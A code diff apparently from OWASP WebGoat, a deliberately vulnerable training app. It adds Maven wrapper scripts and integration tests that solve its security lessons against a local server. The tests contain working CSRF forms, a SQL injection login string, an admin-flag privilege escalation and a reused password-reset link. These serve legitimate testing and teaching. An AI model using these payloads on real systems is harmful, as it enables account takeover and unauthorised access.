+BASE_DIR=`find_maven_basedir "$(pwd)"`
+if [ -z "$BASE_DIR" ]; then
+  exit 1;
+fi
+
+##########################################################################################
+# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
+# This allows using the maven wrapper in projects that prohibit checking in binary data.
+##########################################################################################
+if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then
+    if [ "$MVNW_VERBOSE" = true ]; then
+      echo "Found .mvn/wrapper/maven-wrapper.jar"
+    fi
+else
+    if [ "$MVNW_VERBOSE" = true ]; then
+      echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..."
+    fi
+    if [ -n "$MVNW_REPOURL" ]; then
+      jarUrl="$MVNW_REPOURL/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
+    else
+      jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
+    fi
+    while IFS="=" read key value; do
+      case "$key" in (wrapperUrl) jarUrl="$value"; break ;;
+      esac
+    done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties"
+    if [ "$MVNW_VERBOSE" = true ]; then
+      echo "Downloading from: $jarUrl"
+    fi
+    wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar"
+    if $cygwin; then
+      wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"`
+    fi
+
+    if command -v wget > /dev/null; then
+        if [ "$MVNW_VERBOSE" = true ]; then
+          echo "Found wget ... using wget"
+        fi
+        if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
+            wget "$jarUrl" -O "$wrapperJarPath"
+        else
+            wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath"
+        fi
+    elif command -v curl > /dev/null; then
+        if [ "$MVNW_VERBOSE" = true ]; then
+          echo "Found curl ... using curl"
+        fi
+        if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
+            curl -o "$wrapperJarPath" "$jarUrl" -f
+        else
+            curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f
+        fi
+
+    else
+        if [ "$MVNW_VERBOSE" = true ]; then
+          echo "Falling back to using Java to download"
+        fi
+        javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java"
+        # For Cygwin, switch paths to Windows format before running javac
+        if $cygwin; then
+          javaClass=`cygpath --path --windows "$javaClass"`
+        fi
+        if [ -e "$javaClass" ]; then
+            if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
+                if [ "$MVNW_VERBOSE" = true ]; then
+                  echo " - Compiling MavenWrapperDownloader.java ..."
+                fi
+                # Compiling the Java class
+                ("$JAVA_HOME/bin/javac" "$javaClass")
+            fi
+            if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
+                # Running the downloader
+                if [ "$MVNW_VERBOSE" = true ]; then
+                  echo " - Running MavenWrapperDownloader.java ..."
+                fi
+                ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR")
+            fi
+        fi
+    fi
+fi
+##########################################################################################
+# End of extension
+##########################################################################################
+
+export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"}
+if [ "$MVNW_VERBOSE" = true ]; then
+  echo $MAVEN_PROJECTBASEDIR
+fi
+MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS"
+
+# For Cygwin, switch paths to Windows format before running java
+if $cygwin; then
+  [ -n "$M2_HOME" ] &&
+    M2_HOME=`cygpath --path --windows "$M2_HOME"`
+  [ -n "$JAVA_HOME" ] &&
+    JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
+  [ -n "$CLASSPATH" ] &&
+    CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
+  [ -n "$MAVEN_PROJECTBASEDIR" ] &&
+    MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
+fi
+
+# Provide a "standardized" way to retrieve the CLI args that will
+# work with both Windows and non-Windows executions.
+MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@"
+export MAVEN_CMD_LINE_ARGS
+
+WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
+
+exec "$JAVACMD" \
+  $MAVEN_OPTS \
+  -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \
+  "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \
+  ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@"

mvnw.cmd

@@ -0,0 +1,182 @@
+@REM ----------------------------------------------------------------------------
+@REM Licensed to the Apache Software Foundation (ASF) under one
+@REM or more contributor license agreements.  See the NOTICE file
+@REM distributed with this work for additional information
+@REM regarding copyright ownership.  The ASF licenses this file
+@REM to you under the Apache License, Version 2.0 (the
+@REM "License"); you may not use this file except in compliance
+@REM with the License.  You may obtain a copy of the License at
+@REM
+@REM    http://www.apache.org/licenses/LICENSE-2.0
+@REM
+@REM Unless required by applicable law or agreed to in writing,
+@REM software distributed under the License is distributed on an
+@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+@REM KIND, either express or implied.  See the License for the
+@REM specific language governing permissions and limitations
+@REM under the License.
+@REM ----------------------------------------------------------------------------
+
+@REM ----------------------------------------------------------------------------
+@REM Maven2 Start Up Batch script
+@REM
+@REM Required ENV vars:
+@REM JAVA_HOME - location of a JDK home dir
+@REM
+@REM Optional ENV vars
+@REM M2_HOME - location of maven2's installed home dir
+@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
+@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending
+@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
+@REM     e.g. to debug Maven itself, use
+@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
+@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
+@REM ----------------------------------------------------------------------------
+
+@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
+@echo off
+@REM set title of command window
+title %0
+@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'
+@if "%MAVEN_BATCH_ECHO%" == "on"  echo %MAVEN_BATCH_ECHO%
+
+@REM set %HOME% to equivalent of $HOME
+if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
+
+@REM Execute a user defined script before this one
+if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
+@REM check for pre script, once with legacy .bat ending and once with .cmd ending
+if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat"
+if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd"
+:skipRcPre
+
+@setlocal
+
+set ERROR_CODE=0
+
+@REM To isolate internal variables from possible post scripts, we use another setlocal
+@setlocal
+
+@REM ==== START VALIDATION ====
+if not "%JAVA_HOME%" == "" goto OkJHome
+
+echo.
+echo Error: JAVA_HOME not found in your environment. >&2
+echo Please set the JAVA_HOME variable in your environment to match the >&2
+echo location of your Java installation. >&2
+echo.
+goto error
+
+:OkJHome
+if exist "%JAVA_HOME%\bin\java.exe" goto init
+
+echo.
+echo Error: JAVA_HOME is set to an invalid directory. >&2
+echo JAVA_HOME = "%JAVA_HOME%" >&2
+echo Please set the JAVA_HOME variable in your environment to match the >&2
+echo location of your Java installation. >&2
+echo.
+goto error
+
+@REM ==== END VALIDATION ====
+
+:init
+
+@REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
+@REM Fallback to current working directory if not found.
+
+set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
+IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
+
+set EXEC_DIR=%CD%
+set WDIR=%EXEC_DIR%
+:findBaseDir
+IF EXIST "%WDIR%"\.mvn goto baseDirFound
+cd ..
+IF "%WDIR%"=="%CD%" goto baseDirNotFound
+set WDIR=%CD%
+goto findBaseDir
+
+:baseDirFound
+set MAVEN_PROJECTBASEDIR=%WDIR%
+cd "%EXEC_DIR%"
+goto endDetectBaseDir
+
+:baseDirNotFound
+set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
+cd "%EXEC_DIR%"
+
+:endDetectBaseDir
+
+IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
+
+@setlocal EnableExtensions EnableDelayedExpansion
+for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
+@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
+
+:endReadAdditionalConfig
+
+SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
+set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
+set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
+
+set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
+
+FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO (
+    IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
+)
+
+@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
+@REM This allows using the maven wrapper in projects that prohibit checking in binary data.
+if exist %WRAPPER_JAR% (
+    if "%MVNW_VERBOSE%" == "true" (
+        echo Found %WRAPPER_JAR%
+    )
+) else (
+    if not "%MVNW_REPOURL%" == "" (
+        SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
+    )
+    if "%MVNW_VERBOSE%" == "true" (
+        echo Couldn't find %WRAPPER_JAR%, downloading it ...
+        echo Downloading from: %DOWNLOAD_URL%
+    )
+
+    powershell -Command "&{"^
+		"$webclient = new-object System.Net.WebClient;"^
+		"if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^
+		"$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^
+		"}"^
+		"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^
+		"}"
+    if "%MVNW_VERBOSE%" == "true" (
+        echo Finished downloading %WRAPPER_JAR%
+    )
+)
+@REM End of extension
+
+@REM Provide a "standardized" way to retrieve the CLI args that will
+@REM work with both Windows and non-Windows executions.
+set MAVEN_CMD_LINE_ARGS=%*
+
+%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
+if ERRORLEVEL 1 goto error
+goto end
+
+:error
+set ERROR_CODE=1
+
+:end
+@endlocal & set ERROR_CODE=%ERROR_CODE%
+
+if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost
+@REM check for post script, once with legacy .bat ending and once with .cmd ending
+if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat"
+if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd"
+:skipRcPost
+
+@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
+if "%MAVEN_BATCH_PAUSE%" == "on" pause
+
+if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE%
+
+exit /B %ERROR_CODE%

src/it/java/org/owasp/webgoat/ServerUrlConfig.java

@@ -0,0 +1,40 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat;
+
+public record ServerUrlConfig(String host, String port, String contextPath) {
+
+  public ServerUrlConfig {
+    contextPath = contextPath.replaceAll("/", "");
+  }
+
+  public String getBaseUrl() {
+    return "http://%s:%s".formatted(host, port);
+  }
+
+  public String url(String path) {
+    return "%s/%s".formatted(getFullUrl(), path);
+  }
+
+  private String getFullUrl() {
+    return "http://%s:%s/%s".formatted(host, port, contextPath);
+  }
+
+  public static ServerUrlConfig webGoat() {
+    return new ServerUrlConfig(
+        "localhost", env("WEBGOAT_PORT", "8080"), env("WEBGOAT_CONTEXT", "WebGoat"));
+  }
+
+  public static ServerUrlConfig webWolf() {
+    return new ServerUrlConfig(
+        "localhost", env("WEBWOLF_PORT", "9090"), env("WEBWOLF_CONTEXT", "WebWolf"));
+  }
+
+  private static String env(String variableName, String defaultValue) {
+    return System.getenv().getOrDefault(variableName, "").isEmpty()
+        ? defaultValue
+        : System.getenv(variableName);
+  }
+}

src/it/java/org/owasp/webgoat/integration/AccessControlIntegrationTest.java

@@ -0,0 +1,89 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import java.util.Map;
+import org.apache.http.HttpStatus;
+import org.junit.jupiter.api.Test;
+
+class AccessControlIntegrationTest extends IntegrationTest {
+
+  @Test
+  void testLesson() {
+    startLesson("MissingFunctionAC", true);
+    assignment1();
+    assignment2();
+    assignment3();
+
+    checkResults("MissingFunctionAC");
+  }
+
+  private void assignment3() {
+    // direct call should fail if user has not been created
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .contentType(ContentType.JSON)
+        .get(webGoatUrlConfig.url("access-control/users-admin-fix"))
+        .then()
+        .statusCode(HttpStatus.SC_FORBIDDEN);
+
+    // create user
+    var userTemplate =
+        """
+        {"username":"%s","password":"%s","admin": "true"}
+        """;
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .contentType(ContentType.JSON)
+        .body(String.format(userTemplate, this.getUser(), this.getUser()))
+        .post(webGoatUrlConfig.url("access-control/users"))
+        .then()
+        .statusCode(HttpStatus.SC_OK);
+
+    // get the users
+      var userHash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .contentType(ContentType.JSON)
+            .get(webGoatUrlConfig.url("access-control/users-admin-fix"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath()
+            .get("find { it.username == \"Jerry\" }.userHash");
+
+      checkAssignment(webGoatUrlConfig.url("access-control/user-hash-fix"), Map.of("userHash", userHash), true);
+  }
+
+  private void assignment2() {
+      var userHash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .contentType(ContentType.JSON)
+            .get(webGoatUrlConfig.url("access-control/users"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath()
+            .get("find { it.username == \"Jerry\" }.userHash");
+
+      checkAssignment(webGoatUrlConfig.url("access-control/user-hash"), Map.of("userHash", userHash), true);
+  }
+
+  private void assignment1() {
+    var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
+      checkAssignment(webGoatUrlConfig.url("access-control/hidden-menu"), params, true);
+  }
+}

src/it/java/org/owasp/webgoat/integration/CSRFIntegrationTest.java

@@ -0,0 +1,287 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+import lombok.Data;
+import lombok.SneakyThrows;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+import org.owasp.webgoat.container.lessons.Assignment;
+
+public class CSRFIntegrationTest extends IntegrationTest {
+
+  private static final String trickHTML3 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+          + "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
+          + "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
+          + "</form></body></html>";
+
+  private static final String trickHTML4 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+          + "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
+          + "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
+          + "<input type=\"hidden\" name=\"validateReq\""
+          + " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
+          + "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
+          + "</form>\n"
+          + "</body></html>";
+
+  private static final String trickHTML7 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
+          + " method=\"POST\">\n"
+          + "<input type=\"hidden\""
+          + " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
+          + " is the best!!' value='\"}' />\n"
+          + "<input type=\"submit\" value=\"assignment 7\"/>\n"
+          + "</form></body></html>";
+
+  private static final String trickHTML8 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+          + "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
+          + "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
+          + "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
+          + "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
+          + "<input type=\"submit\" value=\"assignment 8\"/>\n"
+          + "</form></body></html>";
+
+  private String webwolfFileDir;
+
+  @BeforeEach
+  @SneakyThrows
+  public void init() {
+    startLesson("CSRF");
+    webwolfFileDir = getWebWolfFileServerLocation();
+      uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/basic-get-flag")));
+      uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/review")));
+      uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/feedback/message")));
+      uploadTrickHtml(
+        "csrf8.html",
+        trickHTML8.replace("WEBGOATURL", webGoatUrlConfig.url("login")).replace("USERNAME", this.getUser()));
+  }
+
+  @TestFactory
+  Iterable<DynamicTest> testCSRFLesson() {
+    return Arrays.asList(
+        dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
+        dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
+        dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
+        dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
+  }
+
+  @AfterEach
+  public void shutdown() throws IOException {
+    // logout();
+    login(); // because old cookie got replaced and invalidated
+    startLesson("CSRF", false);
+    checkResults("CSRF");
+  }
+
+  private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
+
+    // remove any left over html
+    Path webWolfFilePath = Paths.get(webwolfFileDir);
+    if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
+      Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
+    }
+
+    // upload trick html
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .multiPart("file", htmlName, htmlContent.getBytes())
+        .post(webWolfUrlConfig.url("fileupload"))
+        .then()
+        .extract()
+        .response()
+        .getBody()
+        .asString();
+  }
+
+  private String callTrickHtml(String htmlName) {
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("files/%s/%s".formatted(this.getUser(), htmlName)))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    result = result.substring(8 + result.indexOf("action=\""));
+    result = result.substring(0, result.indexOf("\""));
+
+    return result;
+  }
+
+  private void checkAssignment3(String goatURL) {
+    String flag =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Referer", webWolfUrlConfig.url("files/fake.html"))
+            .post(goatURL)
+            .then()
+            .extract()
+            .path("flag")
+            .toString();
+
+    Map<String, Object> params = new HashMap<>();
+    params.put("confirmFlagVal", flag);
+      checkAssignment(webGoatUrlConfig.url("csrf/confirm-flag-1"), params, true);
+  }
+
+  private void checkAssignment4(String goatURL) {
+
+    Map<String, Object> params = new HashMap<>();
+    params.put("reviewText", "test review");
+    params.put("stars", "5");
+    params.put(
+        "validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
+
+    boolean result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Referer", webWolfUrlConfig.url("files/fake.html"))
+            .formParams(params)
+            .post(goatURL)
+            .then()
+            .extract()
+            .path("lessonCompleted");
+    assertTrue(result);
+  }
+
+  private void checkAssignment7(String goatURL) {
+    Map<String, Object> params = new HashMap<>();
+    params.put(
+        "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
+            + " best!!",
+        "\"}");
+
+    String flag =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Referer", webWolfUrlConfig.url("files/fake.html"))
+            .contentType(ContentType.TEXT)
+            .body(
+                "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
+                    + " the best!!=\"}")
+            .post(goatURL)
+            .then()
+            .extract()
+            .asString();
+    flag = flag.substring(9 + flag.indexOf("flag is:"));
+    flag = flag.substring(0, flag.indexOf("\""));
+
+    params.clear();
+    params.put("confirmFlagVal", flag);
+      checkAssignment(webGoatUrlConfig.url("csrf/feedback"), params, true);
+  }
+
+  private void checkAssignment8(String goatURL) {
+
+    // first make sure there is an attack csrf- user
+    registerCSRFUser();
+
+    Map<String, Object> params = new HashMap<>();
+    params.put("username", "csrf-" + this.getUser());
+    params.put("password", "password");
+
+    // login and get the new cookie
+    String newCookie =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Referer", webWolfUrlConfig.url("files/fake.html"))
+            .params(params)
+            .post(goatURL)
+            .then()
+            .extract()
+            .cookie("JSESSIONID");
+
+    // select the lesson
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", newCookie)
+        .get(webGoatUrlConfig.url("CSRF.lesson.lesson"))
+        .then()
+        .statusCode(200);
+
+    // click on the assignment
+      boolean result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", newCookie)
+            .post(webGoatUrlConfig.url("csrf/login"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted");
+
+    assertThat(result).isTrue();
+
+    login();
+    startLesson("CSRF", false);
+
+      Overview[] assignments =
+        RestAssured.given()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .relaxedHTTPSValidation()
+            .get(webGoatUrlConfig.url("service/lessonoverview.mvc/CSRF"))
+            .then()
+            .extract()
+            .jsonPath()
+            .getObject("$", Overview[].class);
+    assertThat(assignments)
+        .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
+        .extracting(o -> o.solved)
+        .containsExactly(true);
+  }
+
+  @Data
+  private static class Overview {
+    Assignment assignment;
+    boolean solved;
+  }
+
+  /** Try to register the new user. Ignore the result. */
+  private void registerCSRFUser() {
+
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .formParam("username", "csrf-" + this.getUser())
+        .formParam("password", "password")
+        .formParam("matchingPassword", "password")
+        .formParam("agree", "agree")
+        .post(webGoatUrlConfig.url("register.mvc"));
+  }
+}

src/it/java/org/owasp/webgoat/integration/ChallengeIntegrationTest.java

@@ -0,0 +1,147 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import io.restassured.RestAssured;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.Test;
+import org.springframework.http.HttpStatus;
+
+public class ChallengeIntegrationTest extends IntegrationTest {
+
+  @Test
+  void testChallenge1() {
+    startLesson("Challenge1");
+
+    byte[] resultBytes =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("challenge/logo"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .asByteArray();
+
+    String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("username", "admin");
+    params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
+
+    checkAssignment(webGoatUrlConfig.url("challenge/1"), params, true);
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParams(params)
+            .post(webGoatUrlConfig.url("challenge/1"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .asString();
+
+    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+    params.clear();
+    params.put("flag", flag);
+    checkAssignment(webGoatUrlConfig.url("challenge/flag/1"), params, true);
+
+    checkResults("Challenge1");
+  }
+
+  @Test
+  void testChallenge5() {
+    startLesson("Challenge5");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("username_login", "Larry");
+    params.put("password_login", "1' or '1'='1");
+
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParams(params)
+            .post(webGoatUrlConfig.url("challenge/5"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .asString();
+
+    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+    params.clear();
+    params.put("flag", flag);
+    checkAssignment(webGoatUrlConfig.url("challenge/flag/5"), params, true);
+
+    checkResults("Challenge5");
+  }
+
+  @Test
+  void testChallenge7() {
+    startLesson("Challenge7");
+    cleanMailbox();
+
+    // One should first be able to download git.zip from WebGoat
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(webGoatUrlConfig.url("challenge/7/.git"))
+        .then()
+        .statusCode(200)
+        .extract()
+        .asString();
+
+    // Should email WebWolf inbox this should give a hint to the link being static
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .formParams("email", getUser() + "@webgoat.org")
+        .post(webGoatUrlConfig.url("challenge/7"))
+        .then()
+        .statusCode(200)
+        .extract()
+        .asString();
+
+    // Check whether email has been received
+    var responseBody =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("mail"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
+
+    // Call reset link with admin link
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(
+                webGoatUrlConfig.url("challenge/7/reset-password/{link}"),
+                "375afe1104f4a487a73823c50a9292a2")
+            .then()
+            .statusCode(HttpStatus.ACCEPTED.value())
+            .extract()
+            .asString();
+
+    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+    checkAssignment(webGoatUrlConfig.url("challenge/flag/7"), Map.of("flag", flag), true);
+  }
+}

src/it/java/org/owasp/webgoat/integration/CryptoIntegrationTest.java

@@ -0,0 +1,160 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static org.junit.jupiter.api.Assertions.fail;
+
+import io.restassured.RestAssured;
+import java.nio.charset.Charset;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.interfaces.RSAPrivateKey;
+import java.security.spec.InvalidKeySpecException;
